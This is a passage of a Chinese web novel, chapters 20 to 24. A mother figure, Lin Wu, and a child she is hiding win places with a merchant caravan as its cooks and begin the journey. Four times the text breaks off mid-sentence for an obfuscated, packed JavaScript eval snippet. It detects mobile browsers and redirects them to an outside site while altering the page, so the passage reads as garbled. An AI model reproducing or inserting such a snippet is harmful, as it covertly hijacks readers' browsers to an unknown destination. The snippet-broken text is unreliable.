“妇人身边还带着一个四岁的小娘子，”她的声音带着几分不安，“我们母女二人孤儿寡母，家中婆母不容，在故地难以立足，此番是变卖了所有，想去凌州投靠亲戚。奈何盘缠有限，这才想着凭点手艺，抵作此行车马费。我们可不要工钱，只求有个容身之处，一路平安。” “带着孩子？”张管事闻言，眉头微微蹙起，这确实在他意料之外，“这……倒是有些不便。商队行路，到底不是游山玩水。” “小娘年纪虽小，却极为懂事，从不哭闹，我一定看着她，绝不给大家添麻烦！求老爷通融。”林芜急忙保证，声音带着些焦急。 “有公凭吗？”张管事又接着问道。 林芜心里一紧，但神色不变，依旧低眉顺目：“不敢瞒老爷，此番我是迫不得已，悄悄带着孩子出来的，家中婆母与族亲均不知晓，故而并无公凭。” 张管事没有立刻应声，而是再次打量她。 眼前的妇人穿着洗得发白的粗布衣裙，皮肤是因常年劳作而有的粗糙黝黑，一双手带着操持家务留下的薄茧和细小伤痕，怎么看都是个寻常的贫苦村妇。 他在心中盘算。若是大户人家的逃奴，多半也不会这般黝黑，且孤身逃亡的多，少有拖儿带女自找麻烦的；若是官家女眷或是逃犯，这容貌气质也不像，何况近来城门街市也未曾见过相关的海捕文书。 最大的可能便是确如她所言，是个被婆母排挤、走投无路的苦命人。 只是平时便罢了，但此趟东家亲自随行，凡事需格外谨慎，还需再掂量掂量。 思及此，张管事只道：“原是如此，娘子此番境遇着实可怜。不过，多带一小童毕竟非同小可，此事需得向东家禀报一声，方能定夺。你先回去等候消息吧，有了准信，我自会差人去知会你。” “是，多谢老爷。”林芜懦懦地应了声，担忧这差事怕是要黄，心里叹了口气，留下所住脚店的地址，便转身离开。 她刚抬脚迈出灶房的门槛，便迎头听见不远处传来一阵爽利的说话声。 “听闻今儿厨娘手艺都试完了，你仔细些，去把灶房归置妥当，可别耽误了今儿的晡食……” 话音未落，林芜便见一位衣着整洁利落、头上簪着银钗、耳戴珠珰的脸熟大娘，领着个年轻妇人朝这边走来。那大娘抬眼瞧见她，先是一愣，随即笑着快步走了过来。 “哎呀！这不是林娘子吗？” “大娘，可巧，又遇到您了。”林芜也认出她来，正是前几日在银匠铺遇到的热心大娘，她收起愁思，笑着打招呼道。 21. 第 21 章 “该说巧的是我！你怎么在这儿？”孙大娘几步上前，随即一拍脑门，“哦哦！你这是来应聘锦程行的厨娘不是？” 她嗓门敞亮，自顾自地说下去：“你这可真是找对门路了！锦程行可是顶顶好的大商队。你能搭上他们，那是再好不过了！” 她这番大嗓门的动静，也惊动了里头的张管事。 张管事踱步出来，孙大娘一见，立刻笑着招呼：“张管事，您忙着呢？今儿可寻着合心意的好手艺了？” “今日又劳烦孙嫂子了，”张管事微微颔首，“托您的福，今日试厨的几位，手艺都还不错。” “恭喜恭喜！”孙大娘眼睛往林芜身上一瞟，见她留在最后又与张管事谈了话，心下便明白了八九分，笑道，“看来我这位妹子的手艺，是入了您的眼了？” “林娘子手艺确实扎实，做事也利落。”张管事道。 “哎呀！那可真是再好不过了！张管事，您是不知道，我这位妹子是个实打实的苦命人，孤儿寡母的，在婆家不知吃了多少苦头，这才咬牙带着小闺女出来。您瞧她这双手，这身板，一瞧便是本分又勤快的人，能在您这儿得个差事，也算是柳暗花明了。” 听着孙大娘这番话，林芜心中也是一喜，这番话来得正是时候，这才真真是柳暗花明。 张管事原是想着差人去细问一番林娘子的来历，此时见二人相熟，心想这下倒是省了事儿。 这孙大娘是顺来车马行管采买的管事，丈夫去后她便接手了部分车马行的营生，为人热心爽朗，在行里行外口碑都不错，她的话自然可信。 他心中已有了决断，只是继续道：“林娘子的手艺确实难得，这番境遇也着实令人叹惋。只是这趟行程东家随行，添人手之事也需东家定夺。不过以娘子的好手艺和踏实本分，想来东家那里，应是无碍的。” “哎哟，那可真是太好了！有您这句话，我这妹子可就能睡个踏实觉了！”孙大娘笑道，替林芜感到高兴。 “多谢管事费心周全，多谢大娘关怀。”林芜也接着感激道。 “嗐，也别谢来谢去了，且安心等着消息便是。”孙大娘爽利地摆摆手，一抬眼瞧见日头西沉，便往灶房里瞧，嘴里往里头扬声催促道，“手脚都麻利些，时候不早了。” “管事，灶上还温着餐食哩。”里头的年轻妇人闻言，指向那蒸笼提醒道。 “这是预备给东家送去的，”张管事闻言解释道，“小赵已回去取食盒了，稍后便来。” “原来如此，”孙大娘点点头，“确是到用晡食的时辰了。” 张管事也朝林芜出言宽慰：“林娘子且宽心，此事我自会尽快禀明东家，不会教你空等许久。这天色也不早了，你也早些回去。” “正是哩，”孙大娘接过话头，“孩子一个人待着，怕也饿了，眼巴巴盼着你呢。” “多谢管事，多谢大娘体恤。”林芜再次谢过。 她与二人匆匆寒暄两句，便不再多留，转身离开。 —— 回到脚店客房，林景便快步迎了上来。 “那是个大商队，好些个厨艺了得的娘子排着队去试手哩，”林芜语气轻快，主动说明情况，“想来那管事得比较一番，让我回来等消息。不过我瞧管事是认可我做的吃食的，他还说要拿回去给东家尝尝哩！” 她专拣着好的情况说。 林景听得认真，时不时点点小脑袋，他对林芜的手艺相当自信。 “我今儿做了荤馒头和甜馒头，那甜馒头我用栗子仁做的，味道不错。改天得了空，咱们自个儿也做来尝尝。”林芜又说道。 “好！”林景立刻应答。 “时候不早了，我去灶房把粥热一热，咱们便用晡食。”说着，她起身并提上陶罐。 林景也急忙跟着起身：“我也想一块儿去，可以吗？” 林芜想到今日将他一人留在客房许久，这孩子到底是有些不安。这一日相处下来，脚店的掌柜伙计瞧着行事也有章法，况且值钱的细软都贴身藏着，带上他一同去去就回也无妨。 “好，”她伸出一只手牵住林景的小手，温声道，“那便一起去。” 到了灶房，却不料冤家路窄，又撞上那痦子大娘。 那大娘正坐在矮凳上，猫着腰，从脚店的大灶旁抽着木柴，一见林芜进来，立刻停下动作，三角眼一翻：“哟，我当是谁呢？怎么，灰头土脸地回来了？还真以为锦程行那样的大商队，什么阿猫阿狗都瞧得上呢！” 她啐了一口，嗓门又拔高了几分：“老娘我好心好意，想捎你们一段，你倒拿乔不肯。简直是把好心当成驴肝肺，不识抬举！我倒要睁大眼睛瞧瞧，哪家正经商队肯收留你们这对来路不明的孤儿寡母！” 她一边说着，一边用目光将林芜从头到脚刮了一遍，目光扫过林芜的脸庞时，这模样仔细瞧着倒是周正。她顿了顿，忽地嗤笑一声：“瞧你这躲躲藏藏的样儿，莫不是给哪个富户做了见不得光的外室，如今叫夫人发现了，带着个野种被赶出来了吧？” 听着这些污言秽语，林景的小眉头顿时皱起，紧紧挨在林芜的腿边，却露出一双黑沉沉的眼睛，死死盯着痦子大娘。 痦子大娘原本骂得正畅快，但瞧旁边这么小一个孩子，这孩子眼神又怪渗人的，心里无端地一哆嗦，后半截话竟卡在了喉咙里。她嘴上顿住，气势却不甘示弱，猛地站起身，双手叉腰。 林芜察觉到林景的紧绷，便低头轻轻拍了拍他的后背。接着她深吸一口气，再抬头时，眼圈已泛红：“大娘……您何苦说这样的话来作践我们？我们与您素不相识，无冤无仇，当初婉拒，也只是不想给您添麻烦，怎料竟像是结了仇一般。” 她声音颤抖，似一度说不出话，用袖子擦了擦眼角，才继续道：“我们母女二人流落至此，举步维艰，即便再困苦，也从未伸手向人乞食，更不曾碍着谁的事……我实在不知，究竟是哪里做得不对，惹得您这般看不顺眼？” “大娘，您这说的叫什么话！”脚店的小二哥听见灶房动静，急匆匆赶进来，他本就防着这痦子大娘偷拿柴火，此刻见她在欺侮那对老实母女，语气也带上了几分不满，“大娘，您行行好，再在店里这么嚷嚷，惊扰了其他客官，传到掌柜耳朵里，大家脸上都不好看。更何况，这位大姐是单间的客官，您是散铺的，若是闹起来，掌柜必定是偏袒大姐的。” “我说的什么话？你们一个个的，别被这骚狐子骗了！她惯会装出这副可怜相，背地里牙尖嘴利着呢！”痦子大娘想起早前被林芜不软不硬挤兑回来的情形，心头火起。 林芜闻言，先是转向小二哥：“多谢小哥主持公道，实在对不住，扰了清净，给您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849701|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 添麻烦了。” 随即又看向痦子大娘，语气听起来愈发软弱：“大娘，若是我早间不会说话，无意中顶撞了您，您千万大人大量，别跟我这乡下妇人一般见识。我久居乡野，不如您走南闯北见识广博，笨嘴拙舌，不会说话……” 见她姿态这般低，痦子大娘心头那点被拂了面子的邪火似乎消了些。她又瞥了一眼林芜那粥罐，确认还是早上那锅，可见是真穷得叮当响。带着这么个拖油瓶，又榨不出什么油水，捎上也是累赘。她哼了一声，总算偃旗息鼓，没再继续发难。 粥一温好，林芜片刻不愿多留，拎起陶罐，和林景一道快步回了客房。 关上门，林芜一边将温热的粥舀到碗里，一边三言两语将痦子大娘想拉她们入伙的事说了。 一直紧绷着身体的林景，这才稍稍放松下来。他沉默听完，然后低声不满道：“说得好听，怕是贪我们的铜钱。” 林景早慧。从早上那痦子大娘自己煮得清可见底的野菜粥，还偷拿脚店柴火的举动，他便知道，那支商队境况窘迫，拉人入伙多半是为了凑钱或是找冤大头。 从荒僻山野到这人流复杂的脚店，这些日子他亲眼见到了百姓真正的生活，也知晓与自己过去在宫中所经历的一切，是两个截然不同的世界。 他明白，不能再像以前那般，但他尚不知该如何像林芜那般伪装。他只能尽可能地少说话、少走动、少惹麻烦，紧紧跟着林芜。 这也给林芜提了个醒，外面人心叵测，他们必须更加谨慎，不能在细节上露出破绽。 “别忧心，”林芜轻声安慰道，“这世道，大家自顾不暇，少有那闲工夫去盯着别人自找麻烦。那痦子大娘对我们纠缠不放，无非是觉得我们孤儿寡母看着可欺，想从我们这干瘪的行囊里，再榨出几文钱或几口干粮，贴补她自个儿罢了。” 话虽如此，她心里却始终悬着一块石头。不知那锦程行的结果如何了。 对于自己的手艺，林芜其实并无十足把握。 无论是前世还是今生，她都算不上什么技艺精通的领域行家。她曾在博物馆见过那些巧夺天工的非遗器物，无论在什么时代，都有将一门手艺钻研到极致的匠人。他们做出的茶食点心，其讲究与精致程度，远非她这半路出家的野路子可比。 她唯一的优势，或许也就那点跨时代的新奇。 说到新奇的餐食，她眼下也只能想到现代的烘焙糕点，但这个念头刚冒出来就被她掐灭了。 且不说虽此时糖业发达，寻常人也消费得起，但也多是含杂质的糖浆，上等的糖霜仍非寻常人家常用。 除了糖，乳制品也令人头疼，虽说此时城中百姓也时常饮用牛乳、羊乳，京城街巷的食摊也常卖酥蜜食，但从牛乳、羊乳中提炼的酥酪、醍醐等仍是不便宜的精贵物。而这些又都是做糕点常用的材料，绝非穷苦妇人能轻易接触并熟练使用的。 即便她真有条件做出来，材料这般昂贵，那成品的价钱也绝非升斗小民能够消受。 更何况，这等与当下迥异、风味独特的点心一旦流传开，那在宫殿呼风唤雨的女主，很快就能知晓。这对同是异世来客的对方而言，她简直是自投罗网。对方若是容不得她，那就跟碾死一只蚂蚁那般容易。 思及此，林芜无声地叹了口气。前路漫漫，还需更小心谨慎一些。 22. 第 22 章 她在脚店中焦灼等待之时，而她所做的包子，也顺利抵达了旅舍。 在一间陈设雅致的上房里，一位年约三十岁的男子正坐在案前翻阅书册。他身着一身绸缎青色长褙，瞧着颇为温和，不似寻常商贾，倒更像文人雅士。 门外传来轻叩。 “东家。”是张管事的声音。 “进，”方谦应了一声，放下手中的书册，“张叔有何事？” 张管事脸上带着无奈，口中念叨：“东家，已是晡食时分了，您怎么又忘了。这在外行商本就奔波劳碌，您若再总是饥一顿饱一顿的，身子骨可怎么吃得消？” 他一边说着，一边示意身后的小伙计将食盒中的餐碟一一取出，摆到桌上。 “在外行事，岂能如在家中那般事事讲究？”方谦闻言不由失笑，“我听闻，你为此番招厨娘之事，很费了些周章。可是让外头的人都议论我这张嘴，愈发挑剔难伺候了？这真是天大的冤枉。” 张管事笑着摇头：“东家，您可别听小赵那小子胡说八道。他这几日是闲得骨头缝发痒，里里外外地蹿腾，没个消停。老仆瞧着，待明日商队开拔，他自然就安分了。” 小赵赶忙接话：“诶，东家，这回是我错了！被张管事这么里外一通严筛，还真筛出个宝来！” 他边说边将那一笼馒头摆到方谦面前。 馒头个个饱满圆润，雪白暄软，还冒着热气。 小赵忍不住说道：“这馒头，不是我夸口，真是顶顶好的！” 方谦闻言，不由莞尔：“我当是什么珍馐，看来这几日，确是在吃食上委屈你们了，竟连馒头也成了顶顶好吃的物事。” 他语气温和，带着几分调侃，随手拈起一个荤馒头送入口中。 他细细咀嚼：“嗯，这面皮发得确实恰到好处，绵软而有嚼头。” 待尝到馅儿，他点了点头：“馅儿也调得滑嫩，汁水丰盈。不错，总算有个能入口的了。” 话虽如此，他吃完一个便放下了，用布巾擦了擦手：“手艺是好的，只是这纯肉馅儿，多吃两个难免觉得有些腻口。” “东家，您再尝尝这个带黄点儿的！”小赵在一旁迫不及待地推荐，“这个保准合您口味！” 张管事睨了他一眼，轻斥道：“就你话多！东家用饭，何时轮到你在一旁指手画脚？” 方谦倒被勾起了兴致，笑着调侃：“这厨娘莫不是你哪家亲戚？让你这般卖力说项。” “东家，您这可真是冤枉死小的了！”小赵连忙叫屈。 方谦笑了笑，依言拿起一个甜馒头，咬了一口。“咦……竟是甜的？”他微微挑眉，栗仁天然的甘香与温和的甜意在口中化开，不腻不涩，恰到好处。 “栗仁馅儿，倒是用了些巧思。”他并未多言，却很快将整个甜馒头用完，而后目光扫过桌上另一盘略显油腻的肉鲊和炉焙鸡。 “这两样，也是那做馒头的厨娘的手笔？”他举箸虚挑了一下，一入嘴便有些皱眉。 “那倒不是。做馒头的妇人似乎只精于面食，这两样是另一位厨娘做的。”张管事答道。 方谦听罢，放下筷子，又拿起了一个甜馒头：“看来这厨娘，于面食一道上，确有几分不凡的天赋。” 张管事趁势将林芜需携带幼女同行的情况禀明。 “此等小事，你做主安排便是。”方谦不在意地摆了摆手，目光落在手中的甜馒头上，“说来，倒是我沾了那孩子的光。这般软和适口的甜食，想来，便是那厨娘为她家小女细细琢磨出来的吧。” —— 刚将陶罐和碗筷洗净收拾妥当，林芜一出院门，便瞧见下午在车马行见过的那位小伙计正走进脚店。 “哎哟，这位大姐，可算找着您了！”小赵眼神一亮，他正欲向掌柜打听，就见林芜拎着陶罐从后院过来，赶忙迎上两步。 “小哥来此，可是有好消息？”林芜一见是他，便知事情多半成了，心里也不禁一松，由衷感到高兴。 “是哩！大姐您真是好手艺！”小赵忍不住又夸赞起来，“我们东家尝了您做的馒头，尤其是那甜馅儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856529|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，可是连声说好！” 他目光落到林芜手中的空罐子上，这才想起正事，语速不由得加快了几分：“大姐，咱们商队行程定了，明日午时就要启程。对您来说，这时间怕是紧了些，您看看还有什么需要赶紧置办的，可得抓点紧。明儿个一早，您就直接到城西的货栈来，到了报我锦程行小赵的名字就成。我估摸着，张管事说不定还会让灶上采买的胡大叔跟着您一道去集市，看看还得添置些什么食材。” 他一口气将事情交代清楚。 “明日午时？那真是要抓紧了，”这时间着实紧张，林芜连带着说话的语速都快了些许，“多谢小哥特意来告知，实在费心了。” “您也别太着急，”小赵见她如此，又出言安慰道，“咱们商队一应物事都是齐全的，就算您缺些零碎，队里也能帮着周全。您只管把紧要的行李收拾妥帖就成。” “小哥想得周到，真是多谢了。” “您客气啥，赶紧忙活去吧，我也得回去交差了！”小赵笑着摆了摆手，转身匆匆离去。 林芜轻轻松了口气，悬了许久的心，直到此刻才算真正落到实处，眉眼中也不禁露出笑意。 这关键的第一步，总算迈出去了。 “听着是锦程行定下娘子了？”一旁的掌柜拨弄着算盘，抬头搭话道，“那是支好商队，管事们为人宽厚，底下人手虽多，但规矩严明，路上也清净，少有那些欺生滋事的幺蛾子。” “还多亏掌柜您当日指点，让我去告示栏瞧瞧，不然，我乡下妇人哪能寻到这样的好活计。”林芜转过身，对着掌柜真心实意道谢。 掌柜摆摆手，笑道：“娘子客气了，手艺好，走到哪儿都饿不着。此去凌州，路遥平安。” “承掌柜吉言。”林芜再次谢过。 不再多言，她快步转回那间狭小的客房。 明日便要启程，时间紧迫，她需得再清点一下行囊，有些不起眼却必要的小物件，也需尽快置办齐整。幸而她早先做了打算，心中已有成算，此刻倒也不至于手忙脚乱。 23. 第 23 章 将要添置的零碎物件都置办齐全后，林芜又特意买了一小袋白面 回到脚店灶房，她手脚麻利地揉面、发面，赶在夜色深沉前，烙了十来个葱香扑鼻的发面饼。 饼子做得实在，个个有两个巴掌大，用干净的油纸仔细包好，收进了她自己用粗布和竹棍缝制的小桶布袋里。他们没有专门的食盒，这布袋虽简陋，却也能将干粮妥帖收纳，不易压坏。 她估摸着商队理应管饭，便只备下明日的量，以防初来乍到、手忙脚乱时手边没个吃食垫饥。 翌日清晨，天色微亮。 林芜已将全部家当收拾停当，两人就着热水吃了自带的发面饼当作朝食，退了房后，便提着大包小裹，一路问询，朝着城西的锦程行货栈走去。 到了货栈，可以看到此处空地与城内主街相比，是全然不同的另一番光景。 乌泱泱停了一长溜带篷的货车，力夫们扛着沉甸甸的货包穿梭往来，不断将货物码放上车，车轴被压得发出吱呀声。 他们很快便找到了小赵。 他正站在一辆货车旁，一边啃着油饼，一边眼观六路地提醒着力夫：“哎哟，小心着点！别碰着了！” “小哥，早安。”林芜牵着林景走上前，低声打了个招呼。 “哟，大姐，您来得真早！用朝食了没？”小赵见她来了，热情地招呼，顺手就掏出一个油饼递过来。 林芜连忙摆手：“吃过了才来的，您快自己用。” 那食摊的油饼看着就油重扎实，一个下肚能顶半天。 “多吃点，今儿有的忙呢！”小赵说着，掰下一小块饼子，递给正悄悄打量他的林景，“小家伙，别瞅了，拿着，都是自己人，别客气。” 林芜微微点了点头，林景这才伸出小手，接过饼子，小声地道了谢。 “多谢小哥好意。我们自个儿做了些葱油发面饼，早上在脚店大灶上热过，您尝尝看合不合口。”林芜话音刚落，林景便默契地从那个小桶包里掏出一个仍带着温热的软和饼子，递了过去。 “叫我小赵就成！”小赵也不推辞，接过来咬了一大口，眼睛一亮，“嚯！这么暄软！大姐您这手艺，我今儿可是又沾光了！” 他一边嚼着饼子，一边领着林芜往里走，介绍起来：“咱们原先病倒的那两位厨娘，就先留在此地，等身子大好了再随别的车队回去。所以她们原先住的货车，就归您和另一位厨娘用了。东西可以先放这儿，放心，咱们这儿人来人往，没人敢顺东西。” 他带着两人来到一辆带篷的货车旁。车里已经整齐地堆放着米粮、灶具、水桶和帐篷等物，但还留有不少空处，收拾得倒也干净。 “还有个厨娘跟您搭伙，估摸着也快到了。待会儿张管事过来，会给您二位分派活计。” “有劳赵小哥费心安排了。”林芜感激道，随即和林景一起，将身上那几个包袱安置在货车里一个不起眼的角落。 林芜刚转身从货车下来，便瞧见一辆青篷轿车稳稳停在不远处，车帘掀起，张管事弯腰下了车，往他们走过来。 “娘子来得这般早？”张管事目光扫过，也看见了林芜，温和地打了个招呼。 林芜有些拘谨地回道：“头回随队，怕不熟悉规矩耽误事，便想着早些过来候着。” 说着，她轻轻将躲在自己身后的林景往前带了带：“这是我家小娘，路上还要劳烦管事多多照拂了。” “娘子客气了，此番安排仓促，是我们劳烦你才是。”张管事应了一句，目光在林景身上短暂停留，未见异样，便又收回了目光。 林芜主动询问道：“方才瞧见货车上已备了些米粮菜蔬，可需要现在动手准备些朝食？” “不急。”张管事摆了摆手，解释道，“眼下还未出县城，弟兄们各自在食摊解决便是。稍后等另一位厨娘到了，你们签了契书，再随采买的小胡去集市转转，看看还需添置些什么路上用的鲜货。” 他话音才落，一个眼熟的蓝袄妇人，背着包袱匆匆走了过来。 “哟，我这是来迟了？”待走近了，李三娘扬声问道，脸上带着爽利的笑容。 “来得正好。”张管事朝不远处的小赵挥挥手，“去请王账房过来一趟。” 待小赵跑开，他回过头对林芜与李三娘道：“二位便是我们这趟从乌仓县到凌州的随队厨娘了。队里连主子带伙计、护卫近百人，这每日的餐食绝非小事，有劳二位费心。” 他顿了顿，语气更郑重了一些：“若是寻常行商，沿途对付几口也就罢了。但此番东家亲自从京城过来，随队前往凌州会客，这膳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861294|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食上便需格外上心。首要的是干净、稳妥，优先保障东家及其近随的饮食。 队里也备了不少耐存的干粮，若实在忙不过来，其他人可暂时以此充饥。此外，还配了两位帮厨和两名杂役供你们差遣，稍后小赵会带你们认认人，熟悉下家伙什。后厨一应事务，可随时寻小赵通传。” 正说着，小赵已领着一位手拿契书和笔墨的账房先生快步返回。 “虽是临时帮工，但规矩不能废，得签下这份契书，”张管事从账房手中接过文书，“二位随队期间，吃住、安全皆由商队负责，每日工钱八十文。” 而后，张管事又分别简单介绍了两人的情况，随即看向林芜：“你带着孩子，占用名额，每日需扣除二十文，实得六十文。这一点，契书上已写明，娘子若无异议，便可画押。” “多谢管事！我们晓得了。”林芜与李三娘连忙齐声应道。 这工钱着实算得上丰厚，要知道，在县城里，即便是做力气活的高壮汉子，一日也不过挣六七十文，好些的或许能多得些米粮。如今商队包吃包住包行程，还能日结八十文，可谓十分宽厚了。 两人仔细听完账房宣读契书内容，确认无误后，便在那文书末端按下了自己的指印。 一切落定，张管事显然事务繁忙，又嘱咐了小赵几句，便匆匆转身，融入了货栈熙攘的人群之中。 —— 采买的胡大叔是个精干利落的中年汉子，他领着林芜与李三娘穿行在逐渐热闹起来的市集中。 “米粮、白面这些大头，队里早已备齐，就在后勤货车上，两位嫂子想必都瞧见了。”胡大叔一边引路一边说道，“眼下主要是看看二位做菜还需添置些什么顺手的小菜或调味，咱们按需采买，不必铺张。” 李三娘是个有主见的，开口便问道：“胡大哥可知东家平日口味偏好？” “这我可就说不上了，”胡大叔闻言摇了摇头，赧然一笑，“不瞒二位，我们这也是头一回见东家跟队。只听张管事提过一句，东家不喜菜肴过于油腻。” 林芜跟在身侧，轻声道：“我手笨，只会摆弄些简单的面食，眼下倒也想不出缺什么。” 话虽如此，她还是随着两人仔细逛了集市，最终添置了些赤豆、芋魁、虾皮等易于存放的干货。 24. 第 24 章 采买完，回到货栈时，可见队伍规模似乎又庞大了几分。 几名腰间佩刀的高大汉子静候在一辆最为华贵的马车旁，神情严肃，想来便是商队的护卫。 而那马车之中，坐的定然是东家了。 林芜只瞥了一眼，便与李三娘一同回到了她们的后勤货车上。 刚安顿好，李三娘便快人快语地分起工来：“林娘子，既然你擅长面食，我看这样，往后朝食便由你主持，我来打下手，待到晡食，则由我来掌勺，你来帮衬，如何？” 林芜点了点头。车队人数虽众，但除了她们二人，尚有四位帮厨杂役听候差遣，只要安排得当，想来足以应付。 日头渐高，车队终于在一片喧嚣中缓缓启动。 林芜带着林景坐在微微颠簸的货车里，身旁是堆叠的物资。林景紧紧挨着她，小脸绷着，视线穿过随风晃动的车帘缝隙瞧着外边，好奇又警惕。 “路程还长，靠着我歇一会儿。”林芜为他整理了一下遮风的头巾，轻声安抚道。 启程首日，尚有在县城采买的简便餐食，后厨真正的忙碌，要从明日才算开始。 锦程行商队果然纪律严明。尽管人马众多，行进间却并无太多喧哗，众人各司其职，队伍在官道上沉稳前行。 队伍后方，还远远跟着些规模较小的商队，显然是打算借锦程行的护卫同行。放眼望去，官道上竟是浩浩荡荡，颇为壮观。 随着车马行走路程渐多，光线逐渐退去，夜幕四合。 待被黑暗笼罩着，林芜一直紧绷的心弦反倒略微松弛了几分。 商队寻了一处背风的开阔地扎营，点起篝火，亮光在黑夜中隐隐晃动。 虽然林芜他们有货车容身，不用到地面上的营帐。但明日开始便要做活计，也得提前做些准备。 在帮厨和杂役们的协力下，他们将行灶与铁锅从货车卸下，在空地上安置妥当。 李三娘手脚麻利，用带来的酱料焖煮好一大锅羊肉，浓郁的肉香随着蒸汽四散。 她将羊肉连酱盛入几个厚实的陶瓮中，以便明日加热便可食用。 几位帮厨师傅忙完手头的活，也走过来，客气地问林芜明日朝食可需提前准备些什么。 林芜思忖片刻，摇了摇头，轻声道：“多谢几位师傅提醒，不过我想着，朝食多是面食，图个新鲜热乎。这荒郊野外，夜里露重，一夜过去，若是面团发得过了，反而不好。尤其是供给东家的，更需小心，咱们不如明日早些起身，现做现吃，求个稳妥放心。” “林娘子考虑周到。”几位帮厨也点头赞同。 回到车上，里面光线昏暗，林芜也做不了什么精细活计，只能静静听着营地隐约传来的人声与夜虫的鸣叫。 在规律的晃动与疲惫中，他们很快沉入梦乡。 —— 第二日，天光尚未破晓，营地还笼罩在一片静谧中，只有零星值夜护卫的低语和篝火燃烧的噼啪声。 林芜悄然醒来，她动作很轻，想尽量避免惊扰旁人。 但林景还是跟着醒了，迷迷糊糊地就想跟着她起身。 “外头露水重，你乖乖在里面待着，还能帮忙看着咱们的家当，别让人碰了。”林芜按住他小小的肩膀，低声嘱咐。营地人多眼杂，让他待在相对封闭的车厢里，更让她安心。 林景顿时感到被委以重任，眨了眨尚带睡意的眼睛，认真地点了点头，轻声应道：“嗯，我看着咱们的东西。” “天亮了，你再循着声响，到后厨的空地，吃些朝食。”林芜又嘱咐道，怕他傻乎乎一直看着东西，也不敢出来。 看林景又点了点头，她才走开。 当林芜简单洗漱回来，后厨区域已经在帮厨和杂役的忙碌中苏醒过来。 他们显然早已驾轻就熟。帮厨从货车上卸下轻便的行灶和厚重的铁锅，在临时垒起的砖石上驾上案板，杂役则提着水桶往返于附近的水源与营地之间，将几个水桶灌满。炉火也已经生起，一切忙而不乱，井井有条。 “今日朝食，我打算做些素馅馒头，再煮些肉馄饨。有干有稀，有素有荤，大家看是否妥当？”既然提前说好朝食由她主持，林芜便商量着向李三娘和几位帮厨说明安排。 “听林娘子的便是，没问题。”李三娘爽快应答，也等着看她如何分派。 林芜这才仔细问了几位帮厨各自常做的活计。两名杂役主要负责担水、劈柴、照看炉火等力气活；两名帮厨则负责切配、揉面等需要些技术的工序。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866187|191476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 心中有了数，大家便各自忙开。 林芜调配好白面与干酵的比例后，便将和面、揉面的活计交给了帮厨，自己只在一旁偶尔看看面团发酵的程度，专心做素馒头的馅料。 她将菘菜、泡发好的木耳、芦菔一一切碎，又加了些炒散的鸡蛋，添入油盐酱清一并搅拌调味。 她特意避开了时下素馅馒头常加的姜末、糖、蜜等常见的材料，只求清爽家常，一来行商条件有限，二来她实在不喜那甜咸口的素馅儿。 再有就是馄饨，这些帮厨们都很熟悉了。 林芜在肉馅里调入鸡蛋，以增加顺滑口感。 一时间，帮厨揉面，杂役烧火装水，林芜与李三娘则一个调馅，一个查看汤头准备情况，一切都有条不紊。 “我瞧林娘子你做事，还挺有章法条理。”忙过一阵，李三娘在一旁忍不住开口。这一早上下来，林芜给每个人都分派了活计，整个流程顺畅无比，她在酒楼后厨见过的一些师傅，安排起事来也不过如此了。虽说做的都是简单吃食，但近百号人的量堆起来，能这般井然有序，也不容易。 林芜手中的动作不停，低着头不好意思地笑了笑：“三娘和几位师傅都是熟练老手了，手艺活计比我好上许多。我不过不好意思让你们干等着，就按着大家各自拿手的先分派了，免得耽误工夫。” “这可不简单。”李三娘摇了摇头。她在酒楼做过工，深知那些有点手艺的师傅多半藏私，调味配料等关键步骤从不让人细看，那是他们安身立命的本钱。也正因如此，她在酒楼干了两年也没学到什么真本事。 眼前这林娘子却有些不同，步骤上都说得明白，虽然每样调料具体放多少，她总是“少许”“适量”地含糊过去，最终还得她亲手来，但能做到前面几步不避着人，已十分难得了。 只是看她准备的馅料都如此简单，做出来的味道，真能行吗？李三娘心里难免有些存疑。 灶上的几叠蒸笼同时开火，白蒙蒙的蒸汽带着面食的醇香弥漫开来。 